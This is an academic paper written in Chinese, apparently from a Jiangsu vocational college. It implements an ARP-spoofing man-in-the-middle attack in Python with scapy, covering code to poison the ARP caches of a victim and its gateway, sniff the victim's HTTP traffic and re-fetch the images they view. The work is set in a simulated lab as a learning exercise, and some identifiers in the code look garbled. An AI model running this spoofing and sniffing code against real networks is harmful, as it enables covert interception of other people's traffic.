基于 ARP 欺骗的中间人攻击的 Python 实现
殷松瑜1
(1.江苏商贸职业学院 电子信息学院,江苏 南通 226011)
摘要:本文在模拟网络攻击实验环境中,使用 Python 的 scapy 模块构造 ARP 数据包发送给
目标机进行 ARP 欺骗,成功实施了中间人攻击,然后嗅探局域网内部网络流量,截取 HTTP
协议数据包进行解析,初步实现了在被攻击者浏览网页点击图片时,实时抓取这些点击的
图片的 ARP 攻防系统功能之一,后面可以进一步改进完善 ARP 攻防系统,增加其他网络安
全防护的功能。
关键字:scapy,ARP,中间人攻击,python
Python implementation of man in the middle attack based on ARP Spoofing
Yin Songyu1
(Jiangsu Vocational College of Business, School of electronic information, Jiangsu,
Nantong 226011)
Abstract: In the simulated network attack experimental environment, this paper uses
Python's scapy module to construct ARP packets to send to the target machine for
ARP spoofing, and successfully realizes
man-in-the-middle attacks, then sniffs
the LAN internal network traffic, intercepts the HTTP protocol packets for analysis.
This paper initially realizes one of the system functions that the attacker
successfully grabs the clicked pictures in real time when browsing the web page.
Later, it can further improve and improve, and add other functions of network
security penetration protection.
Key words:scapy,ARP, man-in-the-middle attacks, python
0
引言
在研究网络协议时发现 TCP/IP 协议栈中,很多网络协议标准都有安全缺陷,网络攻击
比如网络扫描,内网渗透,流量欺骗等等都和 ARP 协议有关。本文为了进一步学习理解网
络协议的原理过程,首先搭建网络实验模拟环境,利用 Python 的 scapy 模块构造 ARP 数据
包发送给攻击目标机实施 ARP 欺骗,模拟中间人攻击,然后嗅探局域网内部网络流量截取
HTTP 协议数据包进行解析,在被攻击者浏览网页点击图片时,基本实现了实时抓取这些点
击图片的系统功能目标。
1 系统实现的实验环境和编程开发工具
本文实验环境包括一个路由器,一台联网的 64 位 Windows 7 版本的计算机作为攻击机,
要对该计算机启用 IP 转发,在注册表定位以下注册表项:HKEY_LOCAL_MACHINE\SYSTEM
\CurrentControlSet\ Services\Tcpip \Parameters 选择下面的项目 IPEnableRouter
请指定值为 1。Python 出于兼容性考虑安装是 32 位 Python 3.7 版本,另外还有一台 VMWARE
虚拟机作为被攻击目标机,操作系统是 64 位的 Windows 7 版本,网络连接方式是 Host Only。
Python 第三方库一定要选择开发环境操作系统 Python 版本相对应的库文件安装,使用 pip
安装时,如果外国网站网速太慢,可以访问国内的 pipy 源时,命令为: pip install 库名
==XXX.XX -i https://pypi.tuna.tsinghua.edu.cn/simple。下面是本文要用到的各种模
块比如 Scapy,HTTP 等所依赖的 Python 第三方库文件:
from scapy.all import *
import netifaces
import requests
from PIL import Image
from io import BytesIO
2
ARP 欺骗和中间人攻击
2.1
ARP 欺骗原理
ARP 协议称为地址解析协议,是工作在网络层的协议,基本任务就是将 IP 地址转换为
MAC 地址(物理地址)。由于网络层 IP 数据报是根据 IP 地址确定传送目标,而以局域网
交换设备传送的是数据帧,它们是依靠 48 位以太网地址(MAC 地址)确定传送目标,以太
网数据帧的并不能识别 32 位的 IP 地址,所以在局域网内部的机器要和其他机器进行通信,
首先就要获取对方的物理地址,这就需要 ARP 协议来实现 IP 地址转换为物理地址这种对应
关系。
ARP 数据包的详细信息列表如下
[1]:
图 2-1 ARP 数据报文格式
ARP 协议是一个不安全的协议,只要你发送 ARP 数据包就能修改目标的 MAC 缓存表,
基于这种不安全性,便能实现 ARP 欺骗。ARP 的攻击原理:攻击者冒充网关的身份 MAC 地
址,被攻击者发给网关的流量会全部经过攻击者机:攻击者冒充被攻击者的身份 MAC 地址,
卖家发给被攻击者的流量也会经过攻击者机的手上。被攻击者无法与网关联系,导致流量
无法到达被攻击者机上,而攻击者却能拿到网段所有流量。
图 2-2 ARP 欺骗的攻击示意图
2.2
ARP 欺骗和中间人攻击的实现
使用 Python 编写 ARP 欺骗工具思路:不断发送修改对方 MAC 缓存表的 ARP 数据包[2]。
1. 欺骗目标机:以太网报头:本机 MAC•目标机 MAC 数据(ARP 数据包):目标机 MAC•目标
机 IP•操作类型请求或回复都行•本机 MAC•网关 IP
2. 欺骗路由器:以太网报头:网关 MAC•本机 MAC 数据(ARP 数据包):网关 MAC•网关 IP•
操作类型请求或回复都行•本机 MAC•目标机 IP
在 scapy 模块中 ARP 是构建 ARP 数据包的类,Ether 用来构建以太网数据包,构造 ARP
数据包并加上以太网报头实现 ARP 欺骗[3]。
def ARPspoof(srcMAC,srcIP,dstMAC,dstIP):
try:
eth=Ether()
ARP=ARP(
op="is-at",
hwsrc=srcMAC,
psrc=srcIP,
hwdst=dstMAC,
pdst=dstIP
)
#构造以太网数据帧
#构造 ARP 数据帧
#ARP 数据包类型,1 表示请求,2 表示回应
#源地址网卡地址
#源地址 IP 地址
#目标地址网卡地址
#目标地址 IP 地址
sendp(eth/ARP,inter=2,verbose=0)
#在第二层发送构造的以太网 ARP 数据包
except Exception as g:
print('[-]{}'.format(g))
def getMAC(tgtIP):#调用 scapy 的 getMACbyIP 函数,获取目标 IP 的 MAC 地址。
try:
tgtMAC = getMACbyIP(tgtIP)
return tgtMAC
except:
print('[-]请检查目标 IP 是否存活')
2.3 抓取图片的程序实现
浏览网页中的图片一般都是向服务器发送一次请求图片的 HTTP 请求,所以我们只需从
经过网卡的流量中过滤出 TCP 协议 80 端口的 HTTP 协议数据包,将数据包的头部层层去掉,
最后能得到应用层的 HTTP 数据包,再利用正则表达式将 http://*.jpg 筛选出来即可知道
用户到底点击请求了哪些图[4]。
下面是截取到的 HTTP 协议数据包片段:
GET
/images/cn/sjztj/2020/03/27/20200326163723ABC0A947294EEE1ACAC2849ADB80F3B3_s.j
pg HTTP/1.1
Host: i.weather.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:74.0) Gecko/20100101
Firefox/74.0
Accept: image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzIP, deflate
Connection: keep-alive
下面是抓取图片的 Python 程序实现代码:
urllist=[]
def getimg(packets):
#存放已经访问过的 URL,防止重复访问图片
# 实现抓取图片功能
global urllist
referer=''
url=''
for pkt in
packets:
#图片的网络资源定位符
#对截取到的网络流数据包进行解析
for p in pkt.payload.payload.payload.fields_desc:
pvalue = pkt.payload.payload.getfieldval(p.name)
reprval = p.i2repr(pkt.payload.payload, pvalue)# 转换成十进制字符串
#将筛选出图片的 http 请求的正则表达式
pa=re.compile(r'GET .*?\.jpg|GET .*?\.png|GET .*?\.gif')
l=re.findall(pa,reprval)
if len(l)!= 0:
f=str(l[0])
fname=f.lstrIP('GET ')# GET 后面有一个空格
print(fname) #取得图片的文件名
lines=str(reprval).split(r'\r\n')
print(lines)
for line in lines:
if 'Host:' in line:
#取得图片的完整的 URL 地址
url='http://'+line.split(':')[-1].strIP()+fname
if url not in urllist: #防止重复访问图片
urllist.append(url)
if 'Referer:' in line:
referer=line.split(':')[-1].strIP()
if len(url)!=0:
#通过 URL 访问网页中的图片
r=requests.get(url,headers={'Referer':referer})
img=Image.open(BytesIO(r.content))
img.show()#windows 环境下显示图片
else: #防止重复访问图片
pass
2.4 系统功能的主程序代码实现
本文的模拟网络攻击环境:路由器网关 gateway:192.168.1.1;受害者机器 target:
192.168.1.15 ;本地机器 local:192.168.1.9。
下面的系统功能的主程序代码:
if __name__ == '__main__':
# targetIP ='192.168.1.15' 被攻击者的 IP 地址
targetIP=input('请输入攻击目标 IP:')
targetMAC=getMAC(targetIP)# 被攻击者的 MAC 地址
gatewayIP = netifaces.gateways()['default'][netifaces.AF_INET][0]# 网关 IP 地
址
gatewayMAC=getMAC(gatewayIP)# 网关的 MAC 地址
routingNicName= netifaces.gateways()['default'][netifaces.AF_INET][1]
for interface in netifaces.interfaces():
if interface == routingNicName:
#获取本地攻击机的 IP 地址
localIP = netifaces.ifaddresses(interface)[netifaces.AF_INET][0]['addr']
#获取本地机器的 MAC 地址
localMAC = netifaces.ifaddresses(interface)[netifaces.AF_LINK][0]['addr']
print('ARP 欺骗攻击前:') #显示相关 IP 地址 MAC 地址
print('网关 IP:%s<---->网关 MAC:%s'%(gatewayIP,gatewayMAC))
print('本地主机 IP:%s<---->本地主机 MAC:%s'%(localIP,localMAC))
print('攻击目标 IP:%s<---->攻击目标 MAC:%s'%(targetIP,targetMAC))
ARPspoof(localMAC,gatewayIP,targetMAC,targetIP) # 欺骗目标机
ARPspoof(localMAC,targetIP,gatewayMAC,gatewayIP) #欺骗路由器网关
#从经过本地攻击机网卡的流量中过滤 tcp80 端口的 http 协议数据包,实现抓取图片功能
while True:
sniff(count =1,filter="tcp
port 80 and IP host "+targetIP,prn=getimg)
2.5 系统欺骗攻击和抓图的功能运行效果
ARP 欺骗攻击之后,从图 2-3 可以看出路由器网关 gateway:192.168.1.1 MAC 地址变
成和本地攻击机 local:192.168.1.9 的 MAC 地址一模一样,本地攻击机欺骗被攻击机冒充
自己是网关成功。
图 2-3 实施 ARP 欺骗攻击的效果图
本地机 192.168.1.9 实施 ARP 欺骗攻击之后,在被攻击机 192.168.1.15 上打开网页
点击图片,在本地机上运行的抓图效果如图 2-4,可以看到被攻击机发往网关的 HTTP 协议
报被本地攻击机截取,相关图片的 HTTP 请求被解析而后在本地机打开相对应的图片,基本
实现了抓取第三方屏幕网页图片的功能。
图 2-4 ARP 攻击后实施抓图的效果图
3 结语
本文使用 Python 初步实现了 ARP 攻击和抓取第三方机器屏幕的效果,由于实验环境和
程序代码编写的限制,系统性能还需要进一步优化,以解决能够快速高效抓取和解析网络
流量数据包这个系统运行效率问题,还有很多功能有待完成。通过这次实验作者对 ARP 欺
骗攻击有了更深的理解,后面继续改进完善系统,增添更多的网络渗透安全防护功能。
参考文献
[1] 安徽锋刃科技. 编写 Python 渗透测试工具之 ARP 欺骗工具 2019-02-21
[EB/OL] https://blog.csdn.net/xuandao_ahfengren/article/details/87861038
[2] 青衫无名. Python 写 ARP 局域网主机存活扫描与 ARP 欺骗工具 2018-03-15
[EB/OL]https://developer.aliyun.com/article/541991
[3]傅彬.Python安全编程项目实训教程[M],北京:电子工业出版社, 2019
[4] LlawLiet.
arp 协 议 分 析 &python 编 程 实 现 arp 欺 骗
2018-01-23
[EB/OL]https://www.freebuf.com/articles/web/160511.html
作者简介
殷松瑜(1972-),男,江苏扬州人,硕士研究生,工程师,主要从事网络安全,无线
传感网安全方面研究。